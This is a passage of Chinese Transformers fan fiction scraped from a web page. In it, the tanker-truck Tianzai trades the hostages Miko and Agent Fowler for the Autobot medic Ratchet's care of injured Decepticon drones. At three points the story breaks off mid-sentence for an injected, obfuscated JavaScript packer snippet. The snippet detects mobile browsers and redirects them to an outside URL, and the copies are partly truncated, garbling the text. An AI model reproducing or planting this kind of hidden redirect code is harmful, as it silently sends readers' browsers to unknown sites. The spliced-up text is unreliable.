美琪有时候真的很爱她的生活,尽管有些不得已的顺从,但生活有意思的点也就在于此——你看,尽管她身陷囹圄乃至于敌人正在对着她和富勒特工虎视眈眈,美琪依然没有从中感受到他们对自身生命安全的威胁。 不要误会,她绝对和霸天虎打过照面。 霸天虎的狡猾、奸诈、残忍就烙印在她最深的印象之中,不信的话美琪甚至可以给你拿出来她手机中长达五分钟的“霸天虎量产机被汽车人强拆”视频以作证。 当这些大铁块处于战斗期间,不管是哪方势力,在战场可都没有什么道德可讲,胜利和生存才是第一要务,但哪怕凭借她所看见的那些东西来讲,美琪也相信这在赛博坦文化中一定属于要被标注年龄限制的劲爆画面。 所以她可以给你打包票,她绝对不会错误评估霸天虎对自身性命的威胁与危险性。 但随着眼前一切如同慢镜头一般在富勒与美琪的眼前上演,天灾的反常举动依然在继续。 天灾停下后没有急着变形,围在他身边的霸天虎士兵们也一如既往的木讷,可女孩就是从他们的神情中感受到了一丝灵动和……担忧? 油罐车磨磨蹭蹭的举动瞒不过美琪,自然也瞒不过他面前站着的量产飞机。 眼前这架量产飞机猩红的两道光学窥视孔看不出神情,但随着油罐车不肯变形所拖延的时间的加长,他肉眼可见地“皱起了眉”。 好吧,美琪是这么觉得的,但担忧,肯定的。 终于,她眼前那架看起来是这群机子里机体最完整的飞机做出了行动。 他什么也没说,只是向着天灾伸出了一只尖锐且磨损严重的爪子,油罐车像是被训斥了一样,车体不着痕迹地退到了森林的边缘,但他退一步眼前的包围圈就前进一步。 这某种程度上很好笑,美琪想办法忍住了。 眼看着量产飞机没有收回手的打算,小油罐车这才堪堪局部变形出一只手掌将被捆在他体内的美琪和富勒特工交给了他。 两个人类理所当然发出了一声惊叫,但接住他们的机子只短暂地将目光停留在了他们身上一小会儿,随后就把他们又转交给了另一架有些跛脚的飞机手上。 后者更加没有耐心,在把他们放到一处几乎和赛博坦人一样高的石块上,确保他们无法立刻逃跑后就迫不及待地再度将头雕转回了油罐车身上。 Okay……现在情况越来越复杂了。 先是油罐车明着告诉所有人她和富勒是用于交换条件的人质,然后现在包括绑匪本人在内所有机子都忽视了他们的存在。 而且天灾不是属于机械党吗? 为什么,或者说,他是什么时候和霸天虎有交往的? 富勒特工在这种情况下瞪大了眼睛,人类大大的眼睛里满是疑惑。 美琪只看他一眼就知道自己眼前这个大人是靠不住了,她无奈地摊摊手,选择保持沉默先看看自己眼前这场有趣的“默剧”要如何结束。 眼前的场景其实还挺有压迫感的,指一辆刚刚与领袖鏖战的油罐车被一群看起来如同丧尸复活、缺胳膊少腿的机子围在中间。 本应被“重点关照”的两个人类反而成了次要品。 森林中间的空地上,油罐车依然不肯变形。 “天灾。” 美琪认出这是刚刚在油罐车车厢内响起的声音,而它的主人显然就是站在天灾面前那架看起来最完好的飞机。 眼前这辆油罐车机身上能量液的痕迹已经被风吹干,只在黑色的漆面上留下了类似水渍的脏印,但飞行单位闻得见他身上的甜味,这是只有赛博坦人的血液才会渗出的味道。 在量产机的处理器中就是一个在尖啸的明显信号——有人受伤了。 而且绝不是小剐小蹭的小伤。 K-19对自己眼前正处在自欺欺人状态的小油罐车简直没了辙。 他知道伪装模式并不能将自己的机体状态藏住的,对吧? 他深深置换了一口气,在心里做了最坏的打算,是的,他们是需要医生,但这不代表天灾需要用自己受伤作为代价。 “天灾,”他再度开口,这次的语气在天灾的处理器里敲响了警钟,“让我看看你。” 同样压来的还有其他量产飞机担忧和无声谴责的目光。 好吧好吧,天灾在自己火种中抱怨,为什么他们要有那么敏锐的观察力? 这些小飞机明明连撒谎都不会! 但没办法,小油罐车光是看K-19和其他机子不肯罢休的这幅架势就已经预想到他们之后会做出的反应了。 只见天灾的机体以史上最慢的速度从伪装模式恢复了人形。 机身上的大部分伤口已经愈合不再渗出能量液,但最为明显的伤势依然无从隐藏。 腰腹部的切割伤、膝部关节的金属淤青,以及小油罐车的金属手指上依然在滴落能量液的刀刃划伤。 K-19的磁场粒子变得更加尖锐了,或者说,在场所有量产机子的磁场都变得尖锐起来了。 天灾依然带着战术口罩,一副看不出神情的冷漠模样,但不知为何,美琪就是莫名从刚刚还向着擎天柱在内的所有人大放狠话的机子身上感觉到了一丝微弱的心虚和示弱。 有趣。 女孩大大咧咧地坐了下来,不得不说,这些霸天虎给她找了一个绝佳的观赏位。 天灾本以为K-19会说出些责怪的话,但量产机什么也没说。 K-19缓缓垂下了机翼,肉眼可见地泄了气,他无奈地迈步走向那辆已经不自主陷入戒备状态的油罐车,光学镜中带着询问,无声地向眼前的机子探询:他是否可以帮助天灾进行治疗。 油罐车依然保持着沉默,考虑到眼前这架油罐车的别扭性格,K-19决定当这是一个天灾式的同意与道歉。 顾及到天灾手上的伤势,他只能牵着天灾的小臂引导他到一处石头上坐下。 几个能移动的量产飞机迅速拿着他们仅存的医疗设备守护在了油罐车身边。 天灾任由他们摆弄自己,手上的伤口被飞行单位们细细包扎起来,就连侧肋的伤口也得到了照顾。 K-19则单膝跪在他身前,抬起了他被领袖差点废掉的腿。 受过重击的腿部线路在那双手探进来时微微抽搐,飞行单位细致地按压着敏感的能量回路,寻找着其中可能存在的任何零件错位。 人类女孩似乎在这个时候发出了一小声尖叫,但没有引起在场任何机子的注意,就像之前一样。 天灾的注意则全被K-19的动作所吸引,整个机子僵硬得如同被捏住后颈的涡轮狐狸。 油罐车的脚部装甲抵在飞行单位柔软的腹部,另一架机体的温度顺着天灾的脚部传递着热量,第一次让天灾感觉到一股强烈的想要将脚抽回来的冲动。 但他刚一动弹立刻就被K-19又拽了回去。 “不要动,”飞行单位耐心地说,“你的金属淤伤很严重,我要确保你的膝部传动轴没有发生断裂。” 矿机那双意外灵活的双手在他的腿部游走,不时探入他膝部的轴承之中拨正一些混乱的管线。 细细密密的感觉夹杂着一丝疼痛传递到天灾的传感器中,散热系统开始向他的主系统发送开启申请,全部被不明所以的小油罐车压了下去。 哦渣的…… 天灾甚至没有察觉到其他机子在他出神期间已经为他暂时处理好了身上的其他伤势。 此时天灾的CPU中简直变成了乱糟糟的一片乱码,这有些让人不安,但他知道自己可以随时叫停量产机的动作。 他只是……没有那么做。 终于,K-19的检查结束,放下了小油罐车的腿。 K-19的动作很轻,但脚部装甲与地面接触时不可避免地产生了痛感信号,拉回了天灾的理智。 “嘶……”小油罐车下意识倒吸一口冷气。 “没有断裂的齿轮,也没有机体内部的能量泄露。”K-19松了口气,又将注意放到了天灾腰部的伤口上,这次天灾没有让他碰,飞机顺势收回手,不过那处伤口刚刚被小飞机们紧急处理过,目前看起来的确不用太过费心。 “你可能会疼几天,”另一架拿着医疗箱的机子歪了歪头,指着他的腿说,“但等金属淤青消下去你就会好了。” 其他机子也跟着点了点头。 天灾的心情却并没有好上多少。 现在身体上的伤没了大碍,接下来就是…… “天灾。” 小油罐车这次毫无掩饰地缩了缩头。 K-19抱起了胸,有意思的是美琪注意到其他机子,包括那些无法移动的霸天虎机子也抱起了胸。 接下来就该到“秋后算账”阶段了。 只见那架天不怕地不怕的机子意识到自己逃不过这一劫后便梗着脖子,做出了一副任打任骂的架势。 饶是被迫做“壁上观”的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“以及看到领袖的亲子有交到朋友真让我开心!你可真是个贴心的朋友!”她又对着K-19说,显然十分满意K-19主动伸手搀扶天灾的行为。 回应她的是小油罐车慌乱从K-19身边离开的动作和生怕她再说出来什么的猩红目镜。 “咳!人类,注意你的语言!”油罐车说,然而他的语气中显然有些底气不足,他用更大声的回应试图掩盖这一点。 “我没有受更多的伤!” 他宣扬着自己机体的优越性,“我的所有行为都已经在我的系统中运行过多次,是达成目标的最优解!用你们人类的话说就是‘完成目标所可以接受的最低代价’。” 话虽如此,但美琪能感受到,他的解释完全是对着他身后那架正盯着他的霸天虎飞机说的。 “我的伤已经完全好了,不需要更多检查!不要小看我的机体自愈能力!” “以及……” 他冷静下来,语气平和地分析道:“显然擎天柱并没有使出他的全力。” 话语中表现出天灾的极不情愿,美琪得说这辆油罐车的坦诚程度出乎了她的意料,她本以为他会更像他的霸天虎sire。 “如果他使出全力,我相信今天我依然会获胜,但可能只是没有这么顺利。” 好吧,美琪收回前言,这份自大绝对遗传自威震天。 女孩思索了一秒,抓住了亮点。 “所以……你没有否认他们都是你的朋友!” “你身后的那架机子叫什么?我能认识你最好的朋友吗?或者是最特别的那个?” 天灾不知道话题是怎么来到这里的,他呻吟了一声,感觉到自己绝对会后悔抓了这个女孩而不是其他人类。 身后的量产机及时解了他的困境,他笑着看小油罐车束手无策,显然人类幼崽的杀伤性是无视种族的。 “你好,人类。” 他向着富勒和美琪问好,区别于他们对霸天虎认知的态度显然吸引了人类的注意,女孩不再折磨精神衰弱的小油罐车。 “我叫K-19。” 他自我介绍道。 “你好,我叫美琪!我身边的这个大叔你叫他富勒特工就好!”女孩没有害怕,她站起身,甚至向前走到了岩石的边沿与K-19面对面地大胆说道。 从刚刚她所看到的,美琪敢打包票,她从这两架机子上感受到的氛围绝对是不一样的。 与此同时,K-19想,她就像地球上的百灵鸟。 K-19并不讨厌这样精神蓬勃的生命体。 于是飞行单位安抚道:“很抱歉将你们绑来这里,但如果汽车人遵守了我们提出的要求,我相信你们会安然无恙。” “什么条件?”回过神来的富勒特工急忙问道。 这时,缓过来并且打算不再浪费时间的小油罐车打开了外置通讯,告诉了他们答案。 “领袖,我要向你们提出交换条件。” “我要求你们派出汽车人中最好的医官,治好我的人。” “作为交换,我承诺交易完成后会向你们交还这两个人类。” 43.欢呼 外置通讯在两个人质与K-19进行交谈时接通,随着天灾的条件说出口,矿洞前的所有声音都消失了。 K-19与女孩的谈话、富勒的追问、伤员们之间的闲聊,甚至就连矿机体内能量循环的轰鸣声都不自觉地变小了,所有机子和人类都默默屏住了呼吸听着小油罐车这边的动静。 “天灾,”擎天柱说,“请让我看看美琪和富勒特工,我需要先确认他们的安全。” 天灾对此没有什么异议,随着两个人类的画面被他传送到领袖的内线,他也再次强调了一遍自己的条件。 这一次,领袖那一头迟迟没有给出回应,但托自己这边的安静所赐,天灾依然从通讯中辨认出了至少三个机子的置换声。 沉稳而有力的属于擎天柱,急促但马上冷静下来的一定属于那辆蓝色摩托,沉重且惊慌的属于绿色的大块头,除此之外…… 天灾的音频接收器微微转动,还接收到了其他几道声音。 紧张而略显慌乱的、愤怒而沉默的…… 他想知道擎天柱的汽车人基地中此时此刻到底有多少人在听着他们的交谈,就像他知道此时此刻起码有四十多架量产机正在从他四周各个方位假装很忙实则都竖着接收器听着自己这边的动静。 内置时钟的数字走动,天灾能理解领袖的迟疑,毕竟自己在之前那一战中已经充分展现了自身的危险性,再加上他们又绑架了汽车人在这颗星球上的人类盟友,擎天柱对自己有所防范才是正常的。 然而,油罐车依然难掩心中的慌乱,无数种谈判失败的可能性在他的CPU中不受控制地跳出。 是不是他错误估计了人类在擎天柱和汽车人心中的重量以至于他的筹码不足以支付他的要求? 说不定汽车人和人类合作只不过是单方面的扶持,擎天柱根本不在意这两个人类。 又或者,他应该相信他的资料库,擎天柱并不像他的初印象那样宅心仁厚,他伪装起自己的残忍和嗜血只为了评估天灾对自身统治大业所能造成的阻碍或者助力,现在天灾完全暴露了自己的能力,而这个暴君认为天灾不配拥有和自己对话的权利? 或者更糟糕,擎天柱认为天灾根本不足以成为自己的威胁所以现在决定放任天灾和被他抓走的那两个人类自生自灭。 炉渣,不管是哪种可能性,对天灾来讲都很不利。 小油罐车的耐心随着时间的流逝而消失,他微微侧过头,瞥见K-19与其他量产机投过来的希冀目光。 他没有注意到内置时钟仅仅过去了不到半分钟,天灾在芯里咬了咬牙,不管如何,他今天一定要让这笔交易成立。 他清了清嗓子,决定把自己早已准备好的最后筹码摆上谈判桌。 “领袖……”他故意将自己的声音压低,营造出更具有压迫感的声线,“答应我的条件,不光是你最亲近的人类盟友的性命可以得到保证,你的汽车人……” 他耐人寻味地说道:“也可以在人类军方手底下得到安全。” 话已说出口,天灾心中的忐忑却丝毫未减。 他一开始与K-19计划寻找汽车人的援助时本打算的就是将自己从人类军方电脑中窃取到的资料与人类逆向研究出来的武器设计图作为交换的条件,让汽车人与他们进行合作。 然而天灾很清楚仅凭这些擎天柱依然存在宁愿放弃交易也不愿意帮助他的可能性,所以他才铤而走险选择了第二次绑架给自己这边添加胜率。 如果顺利,他们就没必要暴露这些资料,它们可以被留作日后谈判的筹码。 可惜他到底高估了自己也低估了擎天柱的定力。 油罐车暗自叹气,站在和领袖博弈的战场上自己还是不够格。 领袖的呼吸沉重起来了,几道争吵和议论从擎天柱那头传出,天灾没有心思辨认,只是祈祷自己缺乏准备的谈判能顺利起效。 烦躁感开始冒头,他忍不住地开始踱步,这是油罐车从他两个领袖级别的sire身上继承的小习惯。 “如何,擎天柱领袖,”他耐不住,忍不住开口催促道,“交易不等人。” 当他踱步到K-75身边时,恰好是他压着嗓音说完最后一句话的时候,离他最近的K-75磁场中传出要笑不笑的情绪,他索性蹲下身子狠狠敲了敲小飞机的头。 都什么时候还敢笑,笑笑笑,也不看看你那锈蚀病都蔓延到什么地方了! 他皱着眉收回战术口罩,冲着丝毫没有危机感的K-75呲了呲牙,如愿看到了这架似乎下流水线处理器就缺润滑油的飞行单位缩了缩脖子。 哼。 他无声地哼哼了一声,心中的紧张暂缓。 领袖那边似乎终于是因为他这一句似是而非的话起了波澜。 一道听起来就格外暴躁的声音接管了他与领袖的通讯器。 天灾听出来这不属于任何一个他曾见过的汽车人的声音。 “听着你个小混蛋,我不在乎那些人类给了你什么好处,也不在乎你到底想对我们做什么,但我向普莱姆斯发誓,如果你……” 油罐车翻了个白眼,这套说辞甚至没有塞拉斯手底下的副官给自己的电击惩罚来得有威慑性,他无聊地开口: “省省你的力气吧,Autobot,我是在和你的指挥官讲话,如果你不能代表擎天柱做出你们的选择,那就把你的通讯器留给更有理智的人。” 那头的机子显然是被天灾的话语气坏了,好在擎天柱就在此时接过了话茬。 “你的意思是……想要和我们共享信息?” 领袖略微沉思,沉稳的话语从通讯器中传出。 油罐车闻言勾起了嘴角。 他不在乎自己的谈判技巧有多么漏洞百出,只要领袖表现出了继续的兴趣,天灾就有把握让它成功。 此时领袖的追问就是一个最明显的积极信号。 “当然。” …… 通讯静默,天灾知道这是擎天柱暂时屏蔽了语音系统在和自己的汽车人商讨。 到此时,他所有的底牌都已经用尽了,选择权现在要交到领袖手上,他唯一能做的就是等待。 而他真的很讨厌等待。 他不耐烦地走到一旁,两个人类在他和领袖谈判期间不知怎么和H-45以及K-75聊上了天,K-19则摆脱了女孩的追问走到了他身边。 「情况如何?」 K-19向他的内线发送信息。 天灾只是摆了摆手示意一切还在掌控中,连内线都没有心情打。 K-19发了一个俏皮的「啊哦」表情包,天灾肉眼可见的疑惑,刚想问他从哪里学的,一道语音便打断了他的心思。 擎天柱给了他肯定的答复。 喜悦一下子冲淡了小油罐车心中的焦虑,他按耐住要跳起来的冲动,维持着自己的“反派”人设冷冷地说:“很好,那么让你的医官们拿好东西到这个地址来。记住,只有军医。” 擎天柱皱起了眉,不得不说天灾的预设很准,领袖的确因为他的狠辣而对他提起了防备,然而如果天灾做出这么大的动静仅仅是为了让救护车出手救人的话…… 思及此处,领袖沉吟片刻还是同意了他的条件,但必要的防身武器和通讯设备还是嘱托救护车准备好了。 另一头的天灾正要发送坐标,先前曾威胁他的那道声音便又出现了。 “‘医官们’?”那道声音重复了一遍,说道,“混小子,恐怕我们没有那么多的医生。” 油罐车咯噔一下子愣在了原地,好在在他的CPU发散性思维前,那道声音继续说道,“只有一个老军医,如果你不嫌弃的话。” 天灾的心微微落下,忽视了他语气中的嘲讽。 “如果这位‘老军医’也能起作用的话,我不会介意。”油罐车回敬,随即干脆利落地挂断了通讯。 他没有纠正汽车人们的错误印象,如果他们认为是天灾需要医生的话,那他不会冒险暴露K-19他们的存在。 救护车被天灾呛了一句还被挂断了通讯如何油压飙升了一回暂且不提,天灾这边是实打实开始庆祝起来了。 他松了口气,冲着K-19比了个ok的手势。 飞行单位立刻将这个消息告诉了其他人。 随着交易完成的消息在量产机中传播,哪怕是两个人类都能感受到赛博坦人之间传递的躁动。 尽管死亡的阴影还没完全散去,但几架伤势较轻的量产机已经完全按耐不住激动的心情,他们一边小声欢呼一边蜂拥而上包裹住了刚刚完成一笔不公平谈判的油罐车。 在K-19的轻笑和黑色赛博坦人迷茫不解的惊呼中,他们紧紧抓住天灾的腿部装甲,把他高高举起,在油罐车反应过来之前,把他抛向了空中。 “等、等一下!”天灾慌乱的声音被隐没在量产机们兴奋的嗡鸣中,他们欢呼着天灾的名字,在油罐车以为自己要摔下时稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128870|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳接住了他。 尽管杂兵们的动作因为生疏而显得有些笨拙,但每次当油罐车下落时,那些接住他的手掌始终坚定而富有力量。 他们炽热的目光紧紧追随着那辆漆黑的油罐车,惹得天灾不由得避开他们的注视。 他们将他举起,亲昵地用他们学到的属于人类的方式感谢天灾带给他们的生的机会。 而被他们簇拥起来的主角适应了恶劣的生存环境,也适应了你死我活的战场却明显不适应这种柔软的场合。 在量产机温暖的磁场中,油罐车连自己小腿上的轮胎都绷直了,生疏的反应理所当然又引起了一阵善意的哄笑。 天灾的面甲微微涨红,尽管主人有在努力克制,但他的嘴角依然浮现出本能的微笑,如同融化了的冰雪,那张与领袖相似的面甲终于露出了一丝温暖。 …… “他们这是怎么了?” 混乱仍然在继续,富勒特工站在石头上颇有些手足无措。 这和他第一次被绑架时的情形截然不同,上帝,甚至连他原本在心里给天灾和霸天虎建立起来的性格侧写都正在被推翻。 仅仅是过了几天,他难道就和这个有外星人生活的社会脱节了吗? 富勒无论如何也无法将眼前这些性格活泼、正在互相鼓励的机子和霸天虎联系起来。 刚刚已经和他们混熟了的H-45收起了手炮,听见富勒特工的疑惑,难掩轻松地开口解释道:“当然是因为天灾找到了办法救我们呀。” 飞行单位的机翼因为兴奋而抖动着,像是某种庆祝性的语言,他哼着歌。 “我们不用死了,这难道不值得高兴吗。” H-45的一只手靠在他们所在的岩石上,另一只手举起挥了挥,已经完全由刚才的戒备转到了不设防的状态。 “老大!”他冲着难掩慌乱的小油罐车大喊。 “接下来我们要拿这些人类怎么办!”尽管是在询问,但美琪感受得到他语气里的亲昵。 在女孩看来眼前这架飞机简直就像是一只大狗在冲着那辆被簇拥在人群中的小油罐车摇尾巴。 好不容易被放下来的天灾看起来有些狼狈,但还是撑着精神告诉H-45,人质已经没用了,只要看住他们别让他们跑了就行。 随即便被K-19扶着坐到一旁休息去了。 显然量产机们的热情是连领袖级别的机体也无法消受的。 兴奋的情绪逐渐过去,尽管大家的磁场依然活跃但大部分机子都重新坐回到了地上。 美琪和富勒特工也被K-19放回了地面。 “哇……你就不怕我们趁机跑了吗?”美琪落地后问道。 K-19耸了耸肩膀,这架在美琪印象中被打上绅士和温柔标签的机子显出几分不合身份的狡黠来。 “既然我们的目的已经达成,你们就没用了。我们没必要对你们严防死守,更何况,我不认为你们会在自身安全得到保障后选择将自己置身险境。”他指了指身后的茂密树林。 话虽难听,但富勒特工知道他说的是事实。 这是个很有趣的悖论,与其相信森林里没有熊,不如相信天灾会信守他的承诺。 很奇怪,但这就是富勒所面对的现实。 他索性直接坐下,对着这架量产的飞机问道:“所以,你们这些霸天虎是如何和天灾……机械党连上线的?” 正准备转身离开的机子闻言转过了头,语气中带着厌恶,“机械党?我们和那些人类没有关系。” “天灾不是因为那些人类才留在这里的。”他认真地反驳。 “那就是霸天虎?我还不知道威震天已经养不起医生了。” “不,这也和霸天虎无关。” K-19不知道该怎么向这些人类阐述他们的情况,但随即想起他们的上司和大部分霸天虎军官是如何糊弄他们的下级的,他学着说道,“这不是你该打听的事,人类。” K-19成功杀死了对话,眼看着人类特工被自己噎了回去,他悄悄松了口气走回到了小油罐车身边。 “他和天灾还真是形影不离。”美琪哼了一声。 富勒还欲再说些什么,然而陆地桥传送的绿色光芒在他们眼前闪烁,属于救护车的红白色机体从中走了出来。 美琪站起身大喊救护车的名字,而医官落地后的第一句话是: “U球的流水线啊!你们是刚和噬铁虫打了一架吗!” 44.救治 汽车人的尖叫让一旁的油罐车挑了挑眉,天灾默不作声地观察了一下身旁K-19的反应。 量产飞机的机翼看到汽车人出现时立刻紧绷起来,武器系统嗡嗡充能,显然进入了战斗状态,然而当他看清楚是谁被派遣而来的时候,油罐车敏锐地注意到了飞行单位陡然一松的磁场。 橘白色的地面单位似乎从外装甲上便标明了自身并非战斗单位的身份,但有胆量单身赴约的机子必定不止于此。 油罐车在短暂的一个照面后便对眼前这架机子做出了基础的判断,显然领袖遵守了他们的约定。 CPU中默默为这架胆敢单身赴约的汽车人提升了关注等级,天灾也在此时轻了轻发声器,推开了想要搀扶他起来的K-19和另一架量产机,强忍疼痛站直了机体。 他咬着牙,面无表情地走到了这位医生面前,K-19沉默地跟在了他身后。 高大的机体笼罩了略显局促的医生。 “所以,你一定便是我们的医生了。” 救护车的本能还沉浸在眼前满是伤员的情境中,丝毫没有注意到那架如同死神本身的漆黑机子从一众紫色的霸天虎量产兵身后走到了自己跟前。 油罐车冰冷的猩红目光打量着救护车,极大的压迫感随之而来,从上而下俯视着略显矮小的中型机。 “你叫什么名字,医生。” “救护车。”被笼罩在阴影下的橘白的机子丝毫不惧他的威慑感,腰部挺直,他仰视着他,那双汽车人一脉相承的蓝色光学镜中没有任何的恐惧,仿佛孤身进入敌营只不过是他漫长生命中的又一个普通环节。 良久,油罐车充满压迫感的凝视被自身的笑声所打破,他发出了一道极轻的笑声拍了拍医生的肩膀。 “很好,救护车,那么尽你所能吧,完成你的工作。” 他转过身,承担了全身重量的腿部装甲已经发出不堪重负的警告。 “等等!” 救护车急切的声音阻止了油罐车的离开,天灾微微转过头,示意自己在听。 “你保证了我们派来医生,你就会交出美琪和富勒特工!” 他咬了咬牙,光学镜紧盯着天灾,丝毫没有注意到自己的质疑有可能会激怒眼前这辆脾气古怪的油罐车。 好在天灾没有发火,他举起左手,挥了挥,救护车注意到一直跟在天灾身后的霸天虎飞机随着他的命令蹲下,再站起时手上已经坐了两个人类的身影。 美琪冲他挥了挥手,富勒特工还有些在状况之外,至少在表面看来两个人类显然都没有受伤,救护车一直悬着的心也终于落地了。 但很快,霸天虎再次将他们抓紧了,汽车人再次因为这个动作而紧张起来。 天灾就在这时一边往回走一边静静开口,量产机们自动为他让开了一条路,如同拱卫着王的骑士们。 “别太得寸进尺医生,我们的交易是你完成你的救治工作,完成后,我将人类的资料与人质一同归还于你。” 他侧头,猩红的光学镜中满是警告,他瞪了一眼救护车,威胁之意非常明显。 “你会获得你的报酬。” “现在,去工作。” 说完,油罐车再次坐回了岩石上,但救护车能感觉到他的目光依然停留在自己身上。 好吧救护车,完成你的工作,其他的都不要想。 医官压下满心的不满,告诉自己不能在这种时刻发怒,手中的医疗箱被猛地放下,发出巨大的碰撞声,离他近的机子们几乎是下意识地缩了下头雕。 毕竟救护车的大名实在是如雷贯耳。 “赛博坦医术最高明的机子”的名号早在内战开始前便在星球中传播,哪怕是这些战争中期在流水线上被制造出来的机子也有所耳闻。 与他的医术驰名的,是他的脾气。 眼看着身后似乎冒着实质化黑气的救护车拿着焊枪和变换出医疗器材的手掌靠近自己,量产机默默吞咽了一口电解液。 油罐车坐在岩石上盯着救护车的动作,不得不说哪怕是他在看见救护车的手掌中变形出一把激光钳的时候也不由得内心一颤,但好在这辆看起来同样脾气不好的地面单位没有干什么出格的事情。 一架被砍掉了机翼、熔毁了大半充能回路的战斗单位在医官面前低下身子好让只是中型机的救护车可以碰到他的机体。 满腹经验的医生不用多看,灵活的金属手指迅速打开他的背部装甲板,在量产机的机体内迅速接好了几条不知何用的能量导管,量产机身上的生物光带立刻亮了起来,同样亮起来的还有飞行单位光学镜中的光。 随着机翼被焊接好,战斗单位几乎克制不住磁场中的喜悦。 “好了,焊接好的部位不要变形,直到机体内的知觉回路自动愈合,以及充能回路不要过度使用,我给你的解决方案只是权宜之计,过热依然有泄露的风险。”医官擦擦脸上的冷凝液,喊道。 “下一个!” 即便心情不佳,但是救护车手上的动作麻利而迅速,两只金属手掌仿佛有着魔力一般接手着他手上受伤的量产机们。 火花四溅,伴随着医官手上的动作,装甲焊接的声音此起彼伏,不时还会传来量产机压抑的痛呼,但天灾判断得出其中的惊讶以及…… 希望。 他们久等不来的生存的希望,此时终于实现了。 眼看着一架架不久前还因为受伤而只能躺在地上等死哀嚎的机子恢复活跃,连日不曾停歇的思维回路终于得到了放松,天灾注视着眼前修理好了充能回路和腿部伤势而兴奋碰拳的几架量产矿机,战术口罩下的嘴角勾起了弧度,光学镜中凛冽不再,他没有意识到自己此时浮现出来的是可以被称作温柔的神情。 恰在此时,一阵尖锐如针刺的疼痛从脑模块中闪过,猝不及防下油罐车轻轻呻吟一声,按住了自己的眼角。 “怎么了?”一直关注着他的K-19立刻上前担忧地扶住了他倾斜的机体。 “你的伤……”飞行单位调整性地侧过身,好让天灾在自己的肩上靠得更舒服些。 “我没事。”意识到他们什么姿势的油罐车主动打断他。 “只不过是有些头晕罢了,你不用一直在这里……看着我。” 天灾站了起来。 “你去帮救护车吧,他会需要一个助手的,”油罐车放下手,看向K-19的光学镜里却是笑意,“毕竟你才是我们这里最熟悉每个机子身体情况的,不是吗?” K-19还欲再说,但小油罐车已经在把他往救护车那边推了。 “别担心我,”天灾说,“我真的没事。” 最终飞行单位妥协了。 “我尽快回来。” 量产机的爪子指了指他子空间的位置,“从几天前我找到你的时候我就没看见过你补充过能量了,先吃点儿东西。我不希望我回来的时候你还空着油箱。” 眼看自己身边再无一架机子,天灾终于松了口气。 他强撑着,不允许自己在众目睽睽下露出任何的破绽,但侧肋的伤口不断传递着痛觉信号,他下意识地伸出一只手捂住了最为疼痛的部位。 “So……”一道声音就在这时候不合时宜地响起,差点儿让天灾从地上跳起来。 “你和他是……嗯……什么关系?” 女孩,或者说被汽车人称之为美琪的人类不知何时爬到了他身侧的岩石上,对他说道。 这个人类简直不知死亡与恐惧为何物。 意识到是什么在和自己说话的天灾想到,她真的有意识到自己是性命不保的人质而自己是能够轻易杀死她的绑匪吗? “人类,”油罐车没有回答她,甚至没有施舍给她一个目光,他注视着和救护车在一起忙碌的K-19慢慢开口,“你似乎并不怕我。” “为什么?” “怕你?”美琪做出了一个俏皮的代表无奈的动作,“当然不啦,我怎么会怕一架连量产的霸天虎杂兵都舍不得训斥的好心机子呢?” “我没……” 这次天灾终于肯低下头看她了,却是为了反驳。 “Na-ah——”美琪打断他,“你骗不了我。” “我注意到了,你以为你藏的很好,但你瞒不住我!” 女孩伸出手掌,一个手指一个手指的数着。 “你没有伤害富勒特工,没有伤害我,你甚至没有伤害那些人类士兵!” “而且我注意到了,你明明有机会伤害到擎天柱,但你没有。” 美琪认真地说:“你可以反驳我,但我知道我看到了什么!在之前那场战斗中,你抓住了领袖的外装甲,但你明明可以用手刃直接砍下他的关节而不是‘抓住’他!” “更不用说,我看完了全程你和这些霸天虎的互动,你对他们很好!特别特别好,你甚至为了他们去威胁了领袖,以及我得说,那真的很勇敢。”女孩煞有其事地点了点头肯定道。 “所以别再假装你可以骗过任何人!你就是一辆心软、帅气还有些护短的傲娇油罐车!” “你根本不可怕!” 天灾现在的神情看起来有些危险了,但女孩依然毫无畏惧地盯着他的光学镜,哪怕整个人都已经被低下身子的油罐车的光学镜照成了红色。 良久,天灾拉开了和她的距离,嗤笑了一声。 “我尊重你的勇气,人类。随你怎么想吧。” “但我并非你说的……那样。” 难说天灾在这个勇敢的人类女孩身上看见了谁的影子,但那双坚定的眼睛却和他曾经救过的女孩之间重合。 “你只是嘴硬,”女孩不满地撅了噘嘴,“而且我有名字,我说过了吗?哦,无所谓,但你应该叫我美琪而不是人类!” “就像我会叫你天灾而不是叫你油罐车!这是礼貌问题,也是尊重问题。”她强调道。 天灾对此的反应是翻了一个白眼。 “好吧,加一条,你还有些粗鲁。” 一阵轻微却刺耳的装甲碰撞声吸引了还欲反驳的小油罐车的注意。 他转过头,正好看见了K-19和他没搀扶起来的另一架腿部线路出了问题的机子七手八脚摔在一起的模样,救护车在一旁呻吟着捂住了自己的头雕。 他轻笑出了声。 女孩再次眯起了眼睛。 直到天灾的注意从K-19身上移走,美琪才接着开口,“你还没回答我的问题。……你和那架霸天虎的飞机很亲近?” 小油罐车这次索性坐了下来,兴许是因为身边没有可以打发时间的人,他一边轻敲着自己隐隐作痛的膝盖一边说道:“不过是合作伙伴罢了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 